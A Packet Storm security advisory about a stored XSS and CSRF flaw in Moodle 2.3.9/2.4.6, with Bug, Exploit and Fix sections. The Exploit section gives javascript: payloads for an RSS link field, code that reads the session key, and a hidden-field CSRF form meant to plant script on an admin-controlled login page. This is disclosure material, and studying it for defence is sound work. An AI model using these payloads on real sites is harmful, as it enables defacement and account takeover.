exploit the possibilities

Moodle 2.3.9 / 2.4.9 Javascript Insertion

Moodle 2.3.9 / 2.4.9 Javascript Insertion
Posted Sep 9, 2013
Authored by Ciaran McNally

Moodle versions 2.3.9 and below and 2.4.6 suffer from a javascript insertion vulnerability that allows for the addition of an RSS blog.

tags | exploit, javascript
MD5 | 283f28e20043f8734598d1baeb57972f

Moodle 2.3.9 / 2.4.9 Javascript Insertion

Change Mirror Download
#######################################################################

Ciaran McNally

Application: Moodle
http://download.moodle.org/
Versions: <= 2.3.9, 2.4.6
Platforms: Windows, Mac, Linux
Bug: Persistant XSS / CSRF
Exploitation: WEB
Date: 9 September 2013.
Author: Ciaran McNally
Web: http://makthepla.net/blog/=/moodle-2-account-takeover
My Twitter: https://twitter.com/ciaranmak

#######################################################################

1) Bug.
2) The exploit.
3) Fix.

#######################################################################
Moodle is a Course Management System (CMS), also known as a Learning
Management System (LMS) or a Virtual Learning Environment (VLE).
It is a Free web application that educators can use to create effective
online learning sites.
#######################################################################

======
1) Bug
======
At the following URL as a student,

http://server/blog/external_blog_edit.php

It is possible to remotely add an rss blog. The <link> parameter in an
rss feed is vulnerable to javascript injection.
This blog post is viewable by everyone on moodle and you can link to it
directly. Upon clicking the "Link to original blog entry" link, you
get javascript execution.

In moodle the "sesskey" parameter holds the session key used to prevent
csrf, this isn't unique for every form once logged in so many forms can
be submitted using this item. It is available on every page which makes
xss quite dangerous in this case.

#######################################################################

==============
2) The exploit
==============

Using a link value of <link>javascript:prompt(document.domain);</link>
This will display a demonstrative prompt as expected.

For a live example you can remotely include my blog rss feed.
http://makthepla.net/Rss/
My moodle blog post has a <link> value of the following.
javascript:alert("Session key = "+M.cfg.sesskey+"\nUser ID = "+window.location.search.split("=")[1]);

This displays the session key and the current users id.


If you can get an admin to click the link and submit the following form
trough javascript, you can post xss onto the main login page of your
victim moodle site.

<input type="hidden" name="id" value="1">
<input type="hidden" name="sr" value="0">
<input type="hidden" name="sesskey" value="x">
<input type="hidden" name="_qf__editsection_form" value="1">
<input type="hidden" name="mform_isexpanded_id_generalhdr" value="1">
<input type="hidden" name="userdefaultname" value="1">
<input type="hidden" name="summary_editor[text]" value="THE FRONT PAGE DATA AND/OR XSS">
<input type="hidden" name="summary_editor[format]" value="1">
<input type="hidden" name="summary_editor[itemid]" value="">
<input type="hidden" name="submitbutton" value="Save+changes">

You can read more about this on the original blog post.
You can get xss on the main login easily using html such as
<img src=x onerror=XSS> when posting as an admin via csrf.


#######################################################################

======
3) Fix
======

https://tracker.moodle.org/browse/MDL-41623
(This requires a login to view)

Upgrade to versions 2.3.9, 2.4.6 and 2.5.2.

#######################################################################

--
maK :)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close